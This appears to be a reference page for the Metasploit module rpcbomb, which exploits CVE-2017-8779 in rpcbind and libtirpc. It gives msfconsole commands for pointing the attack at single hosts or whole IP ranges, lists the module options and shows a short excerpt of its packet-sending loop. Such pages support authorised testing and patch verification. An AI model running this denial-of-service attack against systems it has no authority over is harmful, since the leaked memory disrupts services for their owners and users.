RPC DoS targeting *nix rpcbind/libtirpc - Metasploit


This page contains detailed information about how to use the auxiliary/dos/rpc/rpcbomb metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: RPC DoS targeting *nix rpcbind/libtirpc
Module: auxiliary/dos/rpc/rpcbomb
Source code: modules/auxiliary/dos/rpc/rpcbomb.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 111
List of CVEs: CVE-2017-8779

This module exploits a vulnerability in certain versions of rpcbind, LIBTIRPC, and NTIRPC, allowing an attacker to trigger large (and never freed) memory allocations for XDR strings on the target.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/dos/rpc/rpcbomb
msf auxiliary(rpcbomb) > show options
    ... show and set options ...
msf auxiliary(rpcbomb) > set RHOSTS ip-range
msf auxiliary(rpcbomb) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(rpcbomb) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(rpcbomb) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(rpcbomb) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


This module exploits a vulnerability in rpcbind through 0.2.4, LIBTIRPC through 1.0.1 and 1.0.2-rc through 1.0.2-rc3, and NTIRPC through 1.4.3.

Exploiting this vulnerability allows an attacker to trigger large (and never freed) memory allocations for XDR strings on the target.

Verification Steps


  1. Start msfconsole
  2. Do: use auxiliary/dos/rpc/rpcbomb
  3. Do: set RHOSTS [IP]
  4. Do: run
  5. Target should leak memory

Scenarios


rpcbind 0.2.3-0.2 on Ubuntu 16.04 (amd64)

msf > use auxiliary/dos/rpc/rpcbomb 
msf auxiliary(rpcbomb) > set RHOSTS 10.0.2.7
RHOSTS => 10.0.2.7
msf auxiliary(rpcbomb) > run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(rpcbomb) >

Go back to menu.

Msfconsole Usage


Here is how the dos/rpc/rpcbomb auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/rpc/rpcbomb

msf6 auxiliary(dos/rpc/rpcbomb) > show info

       Name: RPC DoS targeting *nix rpcbind/libtirpc
     Module: auxiliary/dos/rpc/rpcbomb
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  guidovranken
  Pearce Barry <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  ALLOCSIZE  1000000          yes       Number of bytes to allocate
  BATCHSIZE  256              yes       The number of hosts to probe in each set
  COUNT      1000000          no        Number of intervals to loop
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      111              yes       The target port (UDP)
  THREADS    10               yes       The number of concurrent threads

Description:
  This module exploits a vulnerability in certain versions of rpcbind, 
  LIBTIRPC, and NTIRPC, allowing an attacker to trigger large (and 
  never freed) memory allocations for XDR strings on the target.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-8779
  http://www.securityfocus.com/bid/98325
  http://openwall.com/lists/oss-security/2017/05/03/12

Module Options


This is a complete list of options available in the dos/rpc/rpcbomb auxiliary module:

msf6 auxiliary(dos/rpc/rpcbomb) > show options

Module options (auxiliary/dos/rpc/rpcbomb):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   ALLOCSIZE  1000000          yes       Number of bytes to allocate
   BATCHSIZE  256              yes       The number of hosts to probe in each set
   COUNT      1000000          no        Number of intervals to loop
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      111              yes       The target port (UDP)
   THREADS    10               yes       The number of concurrent threads

Advanced Options


Here is a complete list of advanced options supported by the dos/rpc/rpcbomb auxiliary module:

msf6 auxiliary(dos/rpc/rpcbomb) > show advanced

Module advanced options (auxiliary/dos/rpc/rpcbomb):

   Name                   Current Setting  Required  Description
   ----                   ---------------  --------  -----------
   CHOST                                   no        The local client address
   CPORT                                   no        The local client port
   ScannerMaxResends      10               yes       The maximum times to resend a packet when out of buffers
   ScannerRecvInterval    30               yes       The maximum numbers of sends before entering the processing loop
   ScannerRecvQueueLimit  100              yes       The maximum queue size before breaking out of the processing loop
   ScannerRecvWindow      15               yes       The number of seconds to wait post-scan to catch leftover replies
   ShowProgress           true             yes       Display progress messages during a scan
   ShowProgressPercent    10               yes       The interval in percent that progress should be shown
   VERBOSE                false            no        Enable detailed status messages
   WORKSPACE                               no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the dos/rpc/rpcbomb module can do:

msf6 auxiliary(dos/rpc/rpcbomb) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the dos/rpc/rpcbomb auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/rpc/rpcbomb) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Host <IP> unreachable


Here is a relevant code snippet related to the "Host <IP> unreachable" error message:

60:	    count = 0
61:	    while count < datastore['COUNT'] do
62:	      begin
63:	        s.send(pkt, 0)
64:	      rescue ::Errno::ENOBUFS, ::Rex::ConnectionError, ::Errno::ECONNREFUSED
65:	        vprint_error("Host #{ip} unreachable")
66:	        break
67:	      end
68:	      count += 1
69:	    end
70:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • guidovranken
  • Pearce Barry <pearce_barry[at]rapid7.com>

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.